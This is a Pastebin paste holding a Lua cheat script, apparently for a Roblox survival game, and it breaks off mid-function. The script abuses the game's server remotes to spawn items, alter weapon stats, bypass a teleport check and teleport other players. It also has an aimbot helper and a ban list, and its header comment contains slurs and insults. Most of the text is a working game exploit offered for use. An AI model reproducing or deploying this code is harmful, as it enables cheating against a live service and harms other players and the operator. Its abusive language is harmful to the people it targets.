Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --[[
- password is a36, get cracked nigglet
- Created by iLordVex (aka asd) a gigantic cunty faggot
- Please do not leak this, sell this, or give this away.
- If you somehow got the source, delete it please.
- --]]
- --PlayerGui.CameraZoom.Limiter
- --[[
- ZeroNums = {"a", "B", "i", "P", "Y", "S"}
- ActualNums = {"A", "C", "d", "g", "L", "p", "s", "T", "Z"}
- function FindMultipiler(Letter)
- for z = 1, #ActualNums do
- if ActualNums[z] == Letter then
- return z
- end
- end
- return "0"
- end
- function Obfuscate(Number)
- local newval = ""
- Number = tostring(Number)
- for _ = 1, 10 - string.len(Number) do
- newval = ZeroNums[math.random(1, 6)] .. newval
- end
- for d = 1, string.len(Number) do
- local num = tonumber(string.sub(Number, d, d))
- if num > 0 then
- newval = newval .. ActualNums[num]
- else
- newval = newval .. ZeroNums[math.random(1, 6)]
- end
- end
- return newval
- end
- function Deobfuscate(String)
- local newval = ""
- for d = 1, 10 do
- local mult = FindMultipiler(string.sub(String, d, d))
- newval = newval .. mult
- end
- newval = tonumber(newval)
- return newval
- end
- function InfectClips(objectID)
- for _, slot in pairs(Player.playerstats.slots:GetChildren()) do
- if GetChild(slot, "ObjectID") and Deobfuscate(slot.ObjectID.Value) == Deobfuscate(objectID) then
- spawn(function()
- local maxClip = slot.ObjectID.Clip.MaxClip.Value
- local function SetValue()
- ChangeProperty(slot.ObjectID.Clip, "Value", Obfuscate(maxClip))
- ChangeProperty(slot.ObjectID.Clip.MaxClip, "Value", maxClip)
- end
- SetValue()
- slot.ObjectID.Clip.Changed:connect(function(property)
- if property == "Value" then
- SetValue()
- end
- end)
- end)
- end
- end
- end
- InfectClips(Lighting.LootDrops.M14Ammo50.ObjectID.Value)
- function PlayerHasLoot(player, name)
- local objectID = Lighting.LootDrops[name].ObjectID.Value
- for _, slot in pairs(player.playerstats.slots:GetChildren()) do
- if GetChild(slot, "ObjectID") and Deobfuscate(slot.ObjectID.Value) == Deobfuscate(objectID) then
- print(player)
- break
- end
- end
- end
- function ViewPlayerInventory(player)
- print'------'
- local slots = {}
- for _, slot in pairs(player.playerstats.slots:GetChildren()) do
- if GetChild(slot, "ObjectID") then
- slots[slot.ObjectID.Value] = true
- end
- end
- for _, child in pairs(Lighting.LootDrops:GetChildren()) do
- if GetChild(child, "ObjectID") then
- if slots[child.ObjectID.Value] then
- print(child.Name)
- end
- end
- end
- print'------'
- end
- for _,v in pairs(Players:players()) do PlayerHasLoot(v, "STANAGAmmo100") end
- InfectClips(Deobfuscate(Lighting.LootDrops.MakarovAmmo.ObjectID.Value))
- local Weapon = "Makarov"
- local Gun = Player.Backpack[Weapon]
- local Magazine = Gun.Magazine
- ChangeProperty(Gun.Magazine.Value.Parent.MaxClip, "Value", 200)
- ChangeProperty(Gun.Magazine.Value.Parent, "Value", Obfuscate(200))
- local Weapon = "Makarov"
- --print(tostring(Player.Backpack[Weapon].Magazine.Value.Parent))
- Player.Backpack[Weapon].Stats.Action.Rate.Value = Obfuscate(0)
- Player.Backpack[Weapon].Stats.Accuracy.Value = Obfuscate(0)
- Player.Backpack[Weapon].Stats.Reload.Value = 0
- Player.Backpack[Weapon].Stats.Accuracy.Zoomed.Value = Obfuscate(0)
- Player.Backpack[Weapon].Stats.Recoil.Value = Obfuscate(0)
- --]]
- --[[
- do
- local function ChangeProperty(...) return Workspace.Remote.ChangeProperty:FireServer(...) end
- function PlaySound(id)
- local sounds = {Workspace.Remote.CreateSounds:InvokeServer()}
- local sound = sounds[1]
- for index, sound in pairs(sounds) do
- if index ~= 1 then
- Workspace.Remote.Destruct:FireServer(sound)
- end
- end
- local previous_data = {
- Name = sound.Name,
- Parent = sound.Parent,
- Volume = sound.Volume,
- PlayOnRemove = sound.PlayOnRemove,
- Pitch = sound.Pitch,
- SoundId = sound.SoundId
- }
- ChangeProperty(sound, "Parent", Workspace)
- ChangeProperty(sound, "Name", "\0a3mf")
- ChangeProperty(sound, "PlayOnRemove", true)
- ChangeProperty(sound, "Volume", 1)
- ChangeProperty(sound, "Pitch", 1)
- ChangeProperty(sound, "SoundId", "rbxassetid://" .. id)
- wait(1)
- ChangeProperty(sound, "Parent", nil)
- wait(1)
- for property, value in pairs(previous_data) do
- ChangeProperty(sound, property, value)
- end
- end
- PlaySound(304676625)
- end
- --]]
- pcall(wait)
- pcall(function()
- script:ClearAllChildren()
- script.Parent = nil
- script:Destroy()
- script = nil
- end)
- local Game = Game
- local Workspace = Game:GetService("Workspace")
- local Players = Game:GetService("Players")
- local Lighting = Game:GetService("Lighting")
- local Debris = Game:GetService("Debris")
- local RunService = Game:GetService("RunService")
- local Player = Players["LocalPlayer"]
- local Mouse = Player:GetMouse()
- local GetChild = Game.FindFirstChild
- local WaitForChild = Game.WaitForChild
- local CoreGui
- do
- local success, result = pcall(function() return Game:GetService("CoreGui") end)
- if success then
- local test
- if pcall(function() test = Instance.new("ScreenGui", Game:GetService("CoreGui")) end) then
- test:Destroy()
- else
- success = false
- end
- end
- if success then
- CoreGui = result
- else
- CoreGui = Player:WaitForChild("PlayerGui")
- Player.CharacterAdded:connect(function()
- CoreGui = Player:WaitForChild("PlayerGui")
- end)
- end
- end
- local Spawn
- local Settings = {
- GuiName = "l33thax",
- RemotesHolder = Lighting.Remote,
- Version = 0.69,
- SelectedVehicle = nil,
- LootDrops = GetChild(Lighting, "LootDrops"),
- ESP = false,
- Noclip = false,
- UpdateInformation = [[introducing:
- - god vehicle
- - change days/zombie kills
- - fogend on/off
- - attempted to fix spawning problem
- upcoming: more stuff]],
- SpawningType = 0, -- 0 is client, 1 is server
- Game = (GetChild(Workspace, "mapname") or {Value = "UNKNOWN"}).Value,
- AimBot = false,
- GoddedVehicleConnections = {},
- InitialKeyword = "toolweld_",
- StartupFogEnd = Lighting.FogEnd,
- AdministratorMessage = "._asd",
- LoadoutPacks = {
- ["Mercenary (MK 17)"] = {
- "Map", "Entrencher", "Sabre", "GPS", "Compass", "Detonator", "OmniLight", "MilitaryPackBlack", "Mk 17",
- "Suppressor762", "ACOG", "Grip", "M14Ammo50", "M14Ammo50", "M14Ammo50","M14Ammo50", "M14Ammo50",
- "M14Ammo50", "M14Ammo50", "M14Ammo50", "M14Ammo50", "M14Ammo50", "M14Ammo50", "C4", "BloodBag",
- "BloodBag", "BloodBag", "BloodBag", "MRE", "MRE", "WaterBottle", "WaterBottle"
- },
- ["Overwatch (M14)"] = {
- "Map", "Entrencher", "Sabre", "GPS", "Compass","OmniLight", "MilitaryPackBlack", "M14", "Suppressor762",
- "ACOG", "Grip", "M14Ammo50", "M14Ammo50", "M14Ammo50", "M14Ammo50", "M14Ammo50", "M14Ammo50", "M14Ammo50",
- "M14Ammo50", "M14Ammo50", "M14Ammo50", "M14Ammo50", "BloodBag", "BloodBag", "BloodBag", "BloodBag", "MRE",
- "MRE", "WaterBottle", "WaterBottle", "VS50", "VS50"
- },
- ["Breacher (M4A1)"] = {
- "Map", "Entrencher", "Sabre", "GPS", "Compass", "OmniLight", "MilitaryPackBlack", "M4A1", "Suppressor556",
- "ACOG", "Grip", "STANAGAmmo100", "STANAGAmmo100", "STANAGAmmo100", "STANAGAmmo100", "STANAGAmmo100",
- "STANAGAmmo100", "STANAGAmmo100", "STANAGAmmo100", "BloodBag", "BloodBag", "BloodBag", "BloodBag",
- "Painkillers", "Painkillers", "Painkillers", "Painkillers", "MRE", "MRE", "WaterBottle", "WaterBottle"
- },
- ["Mercenary (FAL)"] = {
- "Map", "Entrencher", "Sabre", "GPS", "Compass", "Detonator", "OmniLight", "MilitaryPackBlack", "FAL",
- "Suppressor762", "ACOG", "Grip", "M14Ammo50", "M14Ammo50", "M14Ammo50", "M14Ammo50", "M14Ammo50",
- "M14Ammo50", "M14Ammo50", "M14Ammo50", "M14Ammo50", "M14Ammo50", "M14Ammo50", "C4", "BloodBag", "BloodBag",
- "BloodBag", "BloodBag", "MRE", "MRE", "WaterBottle", "WaterBottle"
- },
- ["Terrorist"] = {
- "Map", "Entrencher", "Sabre", "GPS", "Compass", "Detonator", "OmniLight", "MilitaryPackBlack", "AK-47",
- "AK47Ammo75", "AK47Ammo75", "AK47Ammo75", "AK47Ammo75", "AK47Ammo75", "AK47Ammo75", "AK47Ammo75",
- "AK47Ammo75", "AK47Ammo75", "C4", "C4", "C4", "C4", "C4", "C4", "C4", "C4", "C4", "C4",
- },
- },
- ItemCodes = {
- ["AK-104"] = 1037, ["WindscreenGlass"] = 184, ["WaterBottle"] = 209, ["Watch"] = 3001, ["VehicleJack"] = 3016,
- ["Vegetables"] = 214, ["VS50"] = 256, ["Uzi"] = 2015, ["Ushanka"] = 7014, ["USP45Ammo"] = 26, ["USP45"] = 2007,
- ["Twinkies"] = 212, ["Tuna"] = 4, ["TrinityBeret"] = 7015, ["TomatoSoup"] = 215, ["TM46"] = 257,
- ["TEC9Ammo32"] = 57, ["TEC9Ammo20"] = 56, ["TEC9Ammo"] = 20, ["TEC-9"] = 2005, ["SurvivalPackTan"] = 4009,
- ["SurvivalPackGrey"] = 4010, ["SurvivalPackGreen"] = 4011, ["SurvivalPackBrown"] = 4012, ["Suppressor9"] = 9007,
- ["Suppressor762"] = 9010, ["Suppressor556"] = 9009, ["Suppressor545"] = 9011, ["Suppressor45"] = 9008,
- ["Spam"] = 6, ["SodaSprite"] = 205, ["SodaRoot"] = 207, ["SodaPepsi"] = 7, ["SodaPepper"] = 9,
- ["SodaMoxie"] = 208, ["SodaDew"] = 202, ["SodaCrush"] = 201, ["SodaCoke"] = 8, ["ShotgunAmmo"] = 18,
- ["Shotgun"] = 1002, ["ShadesGrey"] = 8005, ["ShadesBlack"] = 8001, ["ScrapMetal"] = 183, ["Sabre"] = 3014,
- ["SUSAT"] = 9014, ["STANAGAmmo50"] = 52, ["STANAGAmmo30"] = 51, ["STANAGAmmo100"] = 53, ["SKSAmmo"] = 45,
- ["SKS"] = 1018, ["SCAR-L"] = 1022, ["RoadFlare"] = 251, ["RevolverAmmo"] = 25, ["Revolver"] = 2006,
- ["ReinforcedWheel"] = 189, ["Reflex"] = 9003, ["RedChemlight"] = 3020, ["RedBeret"] = 7013, ["RawMeat"] = 220,
- ["Ranger"] = 7003, ["RamboClothingTop"] = 5003, ["RamboClothingBottom"] = 6003, ["Radio"] = 3018,
- ["RPK"] = 1034, ["Pringles"] = 204, ["PilotGreen"] = 7010, ["PilotBlack"] = 7009, ["Pasta"] = 5,
- ["Painkillers"] = 12, ["PaddedClothingTop"] = 5002, ["PaddedClothingBottom"] = 6002, ["PPSHAmmo"] = 46,
- ["PPSH"] = 1019, ["PP19Ammo64"] = 58, ["SmallCrate"] = 38, ["OmniLight"] = 3015, ["OTs-14"] = 1036,
- ["NagantAmmo"] = 17, ["Mosin-Nagant"] = 1001, ["Model459Ammo14"] = 59, ["Model 459"] = 2013, ["Mk48Ammo"] = 23,
- ["Mk 48"] = 1005, ["Mk 23"] = 2018, ["Mk 17"] = 1031, ["MilitaryPackGrime"] = 4013, ["MilitaryPackGrey"] = 4015,
- ["MilitaryPackGreen"] = 4014, ["MilitaryPackBlack"] = 4016, ["MaverickAmmo"] = 27, ["Maverick"] = 1010,
- ["Material6"] = 36, ["Material5"] = 35, ["Material4"] = 34, ["Material3"] = 33, ["Material2"] = 32,
- ["Material1"] = 31, ["Matches"] = 3005, ["MaskSpecOps"] = 8009, ["MaskPhantom"] = 8013, ["MaskMime"] = 8008,
- ["MaskMercenary"] = 8007, ["MaskHockey"] = 8012, ["Map"] = 3003, ["MakarovAmmo"] = 16, ["Makarov"] = 2003,
- ["MRE"] = 10, ["MP5Ammo"] = 29, ["MP5"] = 1012, ["M9Ammo32"] = 55, ["M9Ammo17"] = 54, ["M9Ammo"] = 19,
- ["M93R"] = 2016, ["M9"] = 2004, ["M870Ammo"] = 28, ["M870"] = 1011, ["M4A1"] = 1004, -- ["M4A1Ammo"] = 22,
- ["M3Ammo30"] = 60, ["M3"] = 1028, ["M249Ammo100"] = 61, ["M249"] = 1024, ["M1911Ammo"] = 15, ["M1911"] = 2002,
- ["M14"] = 1016, ["M1014"] = 1027, ["M14Ammo50"] = 64, ["M14Ammo30"] = 63, ["M14Ammo20"] = 62,
- ["M1 Garand"] = 1006, ["Lemonade"] = 206, ["Laser"] = 9006, ["Kobra"] = 9004, ["Knife"] = 3013,
- ["KethArmorTop"] = 5011, ["KethArmorBottom"] = 6011, ["JerryCanEmpty"] = 186, ["JerryCan"] = 185,
- ["HornRimmed"] = 8006, ["Holo"] = 9002, ["HikingPackWhite"] = 4006, ["HikingPackOrange"] = 4005,
- ["HikingPackBrown"] = 4008, ["HikingPackBlue"] = 4007, ["Hatchet"] = 3011, ["HK417"] = 1033, ["HK21"] = 1032,
- ["GusArmorTop"] = 5010, ["GusArmorBottom"] = 6010, ["Grip"] = 9005, ["GreenChemlight"] = 3021,
- ["GarandAmmo"] = 24, ["GPS"] = 3006, ["G37"] = 2017, ["G36K"] = 1023, ["G3"] = 1030, -- ["G18Ammo"] = 41,
- ["G18"] = 2011, ["FuelTank"] = 182, ["Floodlight"] = 37, ["FlashlightSurvival"] = 3009,
- ["FlashlightOld"] = 3008, ["FlashlightMilitary"] = 3010, ["FlashlightAttachment"] = 9012, ["Firewood"] = 250,
- ["Firefighter"] = 8004, ["FedorovAmmo"] = 44, ["Fedorov"] = 1017, ["Fedora"] = 7004, ["FannyPackWhite"] = 4002,
- ["FannyPackTan"] = 4001, ["FannyPackPurple"] = 4004, ["FannyPackBlue"] = 4003, ["FAL"] = 1029,
- ["Eyepatch"] = 8003, ["Entrencher"] = 3004, ["EngineParts"] = 181, ["EnfieldAmmo"] = 42, ["Enfield"] = 1015,
- ["Detonator"] = 3017, ["Crowbar"] = 3012, ["CowlGreen"] = 7002, ["CowlBlack"] = 7001, ["Cowboy"] = 7012,
- ["CookedMeat"] = 221, ["Compass"] = 3002, ["ClothingTopFalse"] = 5000, ["ClothingBottomFalse"] = 6000,
- ["CivilianClothingTop"] = 5001, ["CivilianClothingBottom"] = 6001, ["ChocolateBar"] = 211, ["ChipsAhoy"] = 213,
- ["ChickenSoup"] = 216, ["CheezIts"] = 203, ["CarWheel"] = 180, ["CamoWoodlandsTop"] = 5007,
- ["CamoWoodlandsBottom"] = 6007, ["CamoUrbanTop"] = 5005, ["CamoUrbanBottom"] = 6005, ["CamoSpecialTop"] = 5009,
- ["CamoSpecialBottom"] = 6009, ["CamoSnowTop"] = 5008, ["CamoSnowBottom"] = 6008, ["CamoJungleTop"] = 5006,
- ["CamoJungleBottom"] = 6006, ["CamoDesertTop"] = 5004, ["CamoDesertBottom"] = 6004, ["CZ75Ammo"] = 40,
- ["CZ75"] = 2010, ["CCO"] = 9001, ["CBJ-MS"] = 2014, ["C4"] = 255, ["BrimmedBrown"] = 7007,
- ["BrimmedBlack"] = 7008, ["Bowler"] = 7005, ["BlueChemlight"] = 3022, ["BloodBag"] = 11, ["Binoculars"] = 3007,
- ["Biker"] = 7006, ["BeefStew"] = 217, ["BeefJerky"] = 210, ["Beans"] = 3, ["Beanie"] = 7011,
- ["BandanaSkull"] = 8014, ["BandanaRenegade"] = 8011, ["BandanaRed"] = 8010, ["BandanaBlack"] = 8002,
- ["BallisticUrban"] = 7018, ["BallisticSpecOps"] = 7019, ["BallisticJungle"] = 7017, ["BallisticGlass"] = 187,
- ["BallisticDesert"] = 7016, ["Auto-5"] = 1025, ["ArmorPlates"] = 188, ["AN-94"] = 1040, ["AKS-74U"] = 1041,
- ["AKM"] = 1038, ["AKAmmo75"] = 67, ["AKAmmo45"] = 66, ["AKAmmo30"] = 65, ["AK47Ammo75"] = 50,
- ["AK47Ammo40"] = 49, ["AK47Ammo30"] = 48, ["AK-74"] = 1039, ["AK-47"] = 1003, ["AK-12"] = 1035,
- ["ACOG"] = 9013, ["LargeCrate"] = 39, ["PP-19"] = 1026
- },
- Banished = {
- ["ThumperJumper2"] = true, -- Got my account banned
- ["JumperThumper1"] = true, -- Got my account banned [2]
- ["codejack123"] = true, -- Noclipper
- ["TheBootyHunter69"] = true, -- Noclipper
- ["IceGoalieBoy56"] = true, -- Noclipper
- ["WhatsGreen"] = true, -- Exploiter
- ["OGMARSKUSH"] = true, -- Exploiter
- ["robloxcops07"] = true, -- Exploiter
- ["Dougi123"] = true, -- Exploiter
- ["TorchyBear"] = true, -- Noclipper
- ["MrGooldPro"] = true, -- Exploiter
- ["Subl1minal"] = true, -- Used my GUI to kill me... lol
- ["JewishJack"] = true, -- Requested to be banned by a friend
- ["FalRed"] = true -- Noclipper
- },
- RepairingUtilities = {
- ["Default"] = {
- {"JerryCan", 4},
- {"ArmorPlates", 1},
- {"ScrapMetal", 1},
- {"FuelTank", 1},
- {"ReinforcedWheel", 4},
- {"BallisticGlass", 1},
- {"EngineParts", 1}
- },
- ["Ural2"] = {
- {"JerryCan", 6},
- {"ArmorPlates", 1},
- {"ScrapMetal", 1},
- {"FuelTank", 1},
- {"ReinforcedWheel", 6},
- {"BallisticGlass", 1},
- {"EngineParts", 1}
- },
- ["ATV"] = {
- {"JerryCan", 1},
- {"ArmorPlates", 1},
- {"ScrapMetal", 1},
- {"FuelTank", 1},
- {"ReinforcedWheel", 4},
- {"BallisticGlass", 1},
- {"EngineParts", 1}
- },
- ["Bicycle"] = {
- {"ScrapMetal", 1}
- },
- ["Motorcycle"] = {
- {"JerryCan", 2},
- {"ArmorPlates", 1},
- {"ScrapMetal", 1},
- {"FuelTank", 1},
- {"ReinforcedWheel", 2},
- {"BallisticGlass", 1},
- {"EngineParts", 1}
- }
- }
- }
- Settings.RepairingUtilities.Ural = Settings.RepairingUtilities.Ural2
- function CreateInstance(instance, parent)
- return function(properties)
- local instance, connections = type(instance) == "string" and Instance.new(instance) or instance, {}
- if parent then
- local success, result = pcall(function()
- instance.Parent = parent
- end)
- if not success then
- print("CreateInstance() function error: " .. result, "(using: " .. tostring(instance) .. ", with parent: " .. tostring(parent) .. ")")
- end
- end
- if properties and type(properties) == "table" then
- for index, property in pairs(properties) do
- if type(index) == "number" then
- property.Parent = instance
- elseif type(property) == "function" then
- table.insert(connections, instance[index]:connect(property))
- else
- instance[index] = property
- end
- end
- end
- return instance, connections
- end
- end
- function Thread(f, ...)
- local success, result = coroutine.resume(coroutine.create(function(...) f(...) end), ...)
- if not success then
- Inform("Script execution error! (report this to asd): %s", tostring(result))
- end
- return result
- end
- function GetVehicles()
- return WaitForChild(Workspace, "Vehicles"):GetChildren()
- end
- function FindFirstClass(object, class)
- local result
- for _, child in pairs(object:GetChildren()) do
- if child.ClassName == class or child:IsA(class) then
- result = child
- break
- end
- end
- return result
- end
- function CreateSignal()
- local this = {}
- local mBindableEvent = Instance.new('BindableEvent')
- local mAllCns = {} --all connection objects returned by mBindableEvent::connect
- --main functions
- function this:connect(func)
- if self ~= this then error("connect must be called with `:`, not `.`", 2) end
- if type(func) ~= 'function' then
- error("Argument #1 of connect must be a function, got a "..type(func), 2)
- end
- local cn = mBindableEvent.Event:connect(func)
- mAllCns[cn] = true
- local pubCn = {}
- function pubCn:disconnect()
- cn:disconnect()
- mAllCns[cn] = nil
- end
- return pubCn
- end
- function this:disconnect()
- if self ~= this then error("disconnect must be called with `:`, not `.`", 2) end
- for cn, _ in pairs(mAllCns) do
- cn:disconnect()
- mAllCns[cn] = nil
- end
- end
- function this:wait()
- if self ~= this then error("wait must be called with `:`, not `.`", 2) end
- return mBindableEvent.Event:wait()
- end
- function this:fire(...)
- if self ~= this then error("fire must be called with `:`, not `.`", 2) end
- mBindableEvent:Fire(...)
- end
- return this
- end
- function CreateValue(parent, value)
- CreateValue("ObjectID", parent, value)
- end
- function DropItem(slot)
- DropItem(slot, slot.ObjectID)
- end
- function GetNextOpenSlot()
- local next_slot = 1
- for _, child in pairs(Player.playerstats.slots:GetChildren()) do
- local slotID = tonumber(string.sub(child.Name, 5))
- if slotID and #child:GetChildren() > 0 and slotID > next_slot then
- next_slot = slotID
- end
- end
- return next_slot > 0 and next_slot + 1 or nil
- end
- function GetRemote(remoteName) -- GetRemote("ChangeProperty")(item, index, value)
- if GetChild(Settings.RemotesHolder, remoteName) then
- local instance = Settings.RemotesHolder[remoteName]
- local classType = instance.className
- return function(...)
- return instance[classType == "RemoteEvent" and "FireServer" or "InvokeServer"](instance, ...)
- end
- end
- return nil
- end
- for _, remote in pairs(Settings.RemotesHolder:GetChildren()) do
- getfenv(0)[remote.Name] = GetRemote(remote.Name)
- end
- function GetSlot(id)
- return GetChild(Player.playerstats.slots, "slot" .. id)
- end
- function GetBackpackSlot()
- return GetSlot(1).Parent.slotbackpack
- end
- function LoadItem(slot, lootID)
- AddObject(slot, lootID)
- do
- local start_time = tick()
- local end_time = 3
- local suspend = false
- while GetChild(slot, "ObjectID") == nil or slot.Value ~= 1 do -- slot.Value ~= 1 do
- if tick() - start_time >= end_time then
- suspend = true
- break
- end
- wait()
- end
- if suspend then
- print("exceeded max limit", slot, lootID)
- return
- end
- end
- DropSlotContents(slot)
- wait(0.5)
- end
- function DropSlotContents(slot)
- DropItem(slot) -- Workspace.Remote.AddValue:FireServer(slot, 1)
- end
- function Spawn(item_name, amount, spawningType)
- local objects = {}
- amount = amount or 1
- spawningType = spawningType or Settings.SpawningType
- if spawningType == 0 then
- for index = 1, amount do
- local object = GetChild(Settings.LootDrops, item_name)
- local new_object = object:Clone()
- new_object.Parent = Workspace
- new_object:MakeJoints()
- local formula = index / amount * math.pi * 2
- new_object:MoveTo(Player.Character:GetModelCFrame().p + Vector3.new(5 * math.sin(formula), 0, 5 * math.cos(formula)))
- table.insert(objects, new_object)
- end
- else
- local lootID, realName
- local catchedAmount = 0
- local connection
- connection = Workspace.DropLoot.ChildAdded:connect(function(object)
- if Player.Character and GetChild(Player.Character, "Torso") then
- wait(0.5)
- if object:IsA("Model") and object.Name == realName and (object:GetModelCFrame().p - Player.Character.Torso.Position).magnitude < 30 then
- if not GetChild(object, "ObjectID") then
- CreateValue(object, Lighting.LootDrops[realName].ObjectID.Value)
- end
- print("inserted", object, catchedAmount)
- catchedAmount = catchedAmount + 1
- table.insert(objects, object)
- if catchedAmount == amount then
- connection:disconnect()
- end
- end
- end
- end)
- Thread(function()
- wait(30)
- connection:disconnect()
- end)
- for lootName, loot_id in pairs(Settings.ItemCodes) do
- if string.find(string.lower(lootName), string.lower(item_name)) then
- realName = lootName
- lootID = loot_id
- break
- end
- end
- if not lootID then
- return Inform("Unable to find any loot matching that name...")
- end
- for _ = 1, amount or 1 do
- if lootID > 4000 and lootID < 4017 then -- Backpack detected
- print("detected backpack", item_name, lootID)
- local backpack_slot = GetBackpackSlot()
- if GetChild(backpack_slot, "ObjectID") ~= nil then
- DropSlotContents(backpack_slot)
- wait(1)
- end
- LoadItem(backpack_slot, lootID)
- else
- local slotID = GetNextOpenSlot()
- if slotID then
- local slot = GetSlot(slotID)
- if not slot then
- return Inform("Unable to spawn, try dropping some things from your inventory.")
- end
- LoadItem(slot, lootID)
- end
- end
- end
- end
- return objects
- end
- function Inform(text, ...)
- local ScreenGui = GetChild(CoreGui, "lolnot") or CreateInstance("ScreenGui", CoreGui){Name = "lolnot"}
- local Notification = CreateBorder(CreateInstance("Frame"){
- Name = "Notification",
- BackgroundColor3 = Color3.new(1, 1, 1),
- BorderSizePixel = 0,
- Position = UDim2.new(1, 0, 1, -160),
- Size = UDim2.new(0, 250, 0, 150)
- })
- local Divider = CreateBorder(CreateInstance("Frame", Notification){
- Name = "Divider",
- BackgroundColor3 = Color3.new(1, 1, 1),
- BorderSizePixel = 0,
- Position = UDim2.new(0, 10, 0, 28),
- Size = UDim2.new(1, -20, 0, 8)
- })
- local Title = CreateInstance("TextLabel", Notification){
- Name = "Title",
- BackgroundTransparency = 1,
- Size = UDim2.new(1, 0, 0, 30),
- Font = "SourceSans",
- FontSize = "Size14",
- Text = "Eclipse Notification",
- TextColor3 = Color3.new()
- }
- local Body = CreateInstance("TextLabel", Notification){
- Name = "Body",
- BackgroundTransparency = 1,
- Position = UDim2.new(0, 10, 0, 40),
- Size = UDim2.new(1, -20, 0, 100),
- Font = "SourceSans",
- FontSize = "Size14",
- Text = string.format(text, ...),
- TextColor3 = Color3.new(),
- TextWrapped = true
- }
- local IndexInitial = CreateInstance("NumberValue", Notification){
- Name = "Index",
- Value = 1
- }
- for index, child in pairs(ScreenGui:GetChildren()) do
- if child.Index.Value > 5 then
- child:Destroy()
- else
- if not child:findFirstChild("Leaving") then
- child:TweenPosition(UDim2.new(1, -260, 1, -(160 + (child.Index.Value * 160))), "Out", "Sine", 0.6, true)
- child.Index.Value = child.Index.Value + 1
- end
- end
- end
- Notification.Parent = ScreenGui
- Notification:TweenPosition(UDim2.new(1, -260, 1, -160), "Out", "Sine", 0.6, true)
- Thread(function()
- wait(string.len(text) / 3)
- if Notification.Parent == ScreenGui then
- local initial = Instance.new("BoolValue", Notification)
- initial.Name = "Leaving"
- initial.Value = true
- Notification:TweenPosition(UDim2.new(1, 0, 1, Notification.Position.Y.Offset), "Out", "Sine", 0.6, true, function()
- Notification:Destroy()
- for index, child in pairs(ScreenGui:GetChildren()) do
- if child.Index.Value > 5 then
- child:Destroy()
- else
- if not child:findFirstChild("Leaving") then
- child:TweenPosition(UDim2.new(1, -260, 1, -(160 + ((child.Index.Value - 1) * 160))), "Out", "Sine", 0.6, true)
- end
- end
- end
- end)
- end
- end)
- end
- function KillVehicleConnections(vehicle)
- if Settings.GoddedVehicleConnections[vehicle] then
- for instance, connection in pairs(Settings.GoddedVehicleConnections[vehicle]) do
- pcall(function() connection:disconnect() end)
- end
- Settings.GoddedVehicleConnections[vehicle] = nil
- end
- end
- function PlayerSpawned(player)
- if player and player.Character then
- local backpack = player:findFirstChild("Backpack")
- if backpack then
- return backpack:findFirstChild("Interact") ~= nil, GetChild(player.Character, "Torso")
- end
- -- return GetChild(player.Character, "croucher_" .. player.Name) ~= nil, GetChild(player.Character, "Torso")
- --[[
- local torso = GetChild(player.Character, "Torso")
- if torso then
- return not(torso.CFrame.p.Y >= 130), torso
- end
- --]]
- end
- return false
- end
- function GetPlayerGroup(player)
- player = GetPlayers(tostring(player))[1]
- if not player then
- return false, "No Player"
- end
- local groupID = player.Backpack.repgroup.Value
- return true, groupID
- end
- function LogGroup(player, call_function)
- player = GetPlayers(tostring(player))[1]
- if not player then
- return false, "No Player"
- end
- local successful, groupID = GetPlayerGroup(player)
- if not successful then
- return Inform(groupID)
- end
- if groupID ~= "nogroup" then
- local holder = GetChild(Workspace.GroupMessages, tostring(groupID))
- if holder then
- holder.m1.Changed:connect(function()
- local user, message = string.match(holder.m1.Value, "(.+):%s*(.+)")
- call_function(GetPlayers(user)[1], message)
- end)
- return true, "Successful"
- else
- return false, "No Holder"
- end
- else
- return false, "No Group"
- end
- return false, "Unknown Error"
- end
- function GetSpawnableItems(keyword)
- if keyword then
- for _, loot in pairs(Settings.LootDrops:GetChildren()) do
- if string.find(string.lower(loot.Name), string.lower(keyword)) then
- print(loot)
- end
- end
- else
- table.foreach(Settings.LootDrops:GetChildren(), print)
- end
- end
- function GetCamera()
- return Workspace.CurrentCamera
- end
- function BypassTeleportCheck(player)
- CreateValue("ObjectID", player.Character, 0)
- local initial = WaitForChild(player.Character, "ObjectID")
- ChangeProperty(initial, "Name", "driven")
- ChangeProperty(initial, "Value", 0)
- ChangeProperty(initial, "Parent", player.Character)
- return WaitForChild(player.Character, "driven")
- end
- function Teleport(player1, player2)
- local spawnedData = {{PlayerSpawned(player1)}, {PlayerSpawned(player2)}}
- if spawnedData[1][1] and spawnedData[2][1] and spawnedData[1][2] and spawnedData[2][2] then
- Thread(function()
- local initial = BypassTeleportCheck(player1)
- wait()
- ChangeProperty(spawnedData[1][2], "CFrame", spawnedData[2][2].CFrame)
- wait(1.5)
- Destruct(initial)
- end)
- else
- Inform("Player(s) didn't spawn")
- end
- end
- function GetVehicleDriverSeat(vehicle)
- if not vehicle then
- return nil
- end
- local seats_model = GetChild(vehicle, "Seats")
- if seats_model then
- return GetChild(seats_model, "Driver")
- end
- return nil
- end
- function GetNearestPlayerToMouse()
- local player_data = {}
- local player_distances = {}
- for index, player in pairs(GetPlayers("others")) do
- local head = player.Character and GetChild(player.Character, "Head") or nil
- if head then
- local distance = (head.Position - GetCamera().CoordinateFrame.p).magnitude
- local _, position = Workspace:FindPartOnRay(Ray.new(GetCamera().CoordinateFrame.p, (Mouse.Hit.p - GetCamera().CoordinateFrame.p).unit * distance), Workspace)
- local difference = math.floor((position - head.Position).magnitude)
- player_data[player.Name .. index] = {
- dist = distance,
- Player = player,
- Difference = difference
- }
- table.insert(player_distances, difference)
- end
- end
- if unpack(player_distances) == nil then
- return false
- end
- local closest_distance = math.floor(math.min(unpack(player_distances)))
- if closest_distance > 20 then
- return false
- end
- for _, data in pairs(player_data) do
- if data.Difference == closest_distance then
- return data.Player
- end
- end
- return false
- end
- function TeleportVehicle(vehicle, cframe, offset)
- local seat = GetVehicleDriverSeat(vehicle)
- if seat then
- ChangeProperty(seat, "CFrame", offset and cframe * CFrame.new(-20, 0, 0) or cframe)
- else
- print("Driver seat unacquired!")
- end
- end
- function SpawnRepairingUtilities(name)
- local utilities = Settings.RepairingUtilities[name] or Settings.RepairingUtilities.Default
- for _, data in pairs(utilities) do
- local objects = Spawn(data[1], data[2], 0)
- for _, object in pairs(objects) do
- Debris:AddItem(object, 60 * 2) -- Despawns in 2 minutes
- end
- end
- end
- function GetVehicleByName(name)
- for _, vehicle in pairs(GetVehicles()) do
- if string.sub(string.lower(vehicle.Name), 1, string.len(name)) == string.lower(name) then
- return vehicle
- end
- end
- end
- function OnChatted(player, message)
- if player == Player then
- if message == Settings.AdministratorMessage then
- local found = false
